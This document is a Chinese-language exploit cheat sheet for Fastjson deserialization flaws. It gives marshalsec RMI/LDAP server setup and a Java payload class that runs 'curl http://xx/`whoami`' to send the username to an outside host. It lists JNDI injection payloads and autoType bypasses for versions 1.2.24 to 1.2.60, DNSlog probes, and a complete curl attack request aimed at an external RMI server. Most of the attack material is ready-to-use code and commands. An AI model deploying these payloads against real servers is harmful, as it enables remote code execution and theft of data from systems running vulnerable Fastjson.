0x01 環境配置
首先需要安裝marshalsec 用於起RMI or LDAP 服務
marshalsec 安裝
git clone https://github.com/mbechler/marshalsec.git
pom.xml plugin配置
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
</plugin>
cd ./marshalsec/
mvn clean package -DskipTests
0x02 Payload 配置
//javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c","curl http://xx/`whoami`"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}
1.2.42
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}
- 需要開發者手動開啟 autoType 支持。
- 修復后可通過重復 L 和 ; 繞過:
- LLcom.sun.rowset.JdbcRowSetImpl;;
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}
1.2.47
無需開啟 autoType:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
1.5 <= 1.2.60
無需開啟 autoType:
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
啟動一個RMI服務器,監聽9999端口 加載遠程類TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
啟動一個LDAP 服務
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit
0x03 attack
漏洞無損檢測
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
區分Fastjson 和Jackson
{"name":"S", "age":21} //正常請求包
修改json為
{"name":"S", "age":21,"fuzz":"0xdd"}
/*
這里 Fastjson 是不會報錯的, Jackson 因為強制 key 與 javabean 屬性對齊,只能少不能多 key,
所以會報錯,服務器的響應包中多少會有異常回顯
*/
命令執行顯
#在python所起的web目錄下,存在exp.class 文件
python3 -m http.server 80
目標為fastjson 1.2.45
curl http://127.0.0.1:8090 -H "Content-Type: application/json" --data '{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.103.194.147:9999/dd","autoCommit":true}}'
0x04 注意事項
- 漏洞利用收到目標 JDK 版本影響
- ldap 能收到請求即證明漏洞存在
- ldap 能收到請求,但沒有通過 reference 請求到 Web 服務獲取 Exploit.class 的原因就是 JDK 版本的問題
- JDK 版本繞過可參考:如何繞過高版本JDK的限制進行JNDI注入
- Exploit.class 本身需要滿足 JDK 版本要求,比較簡單的做法是使用 JDK6 來生成 exp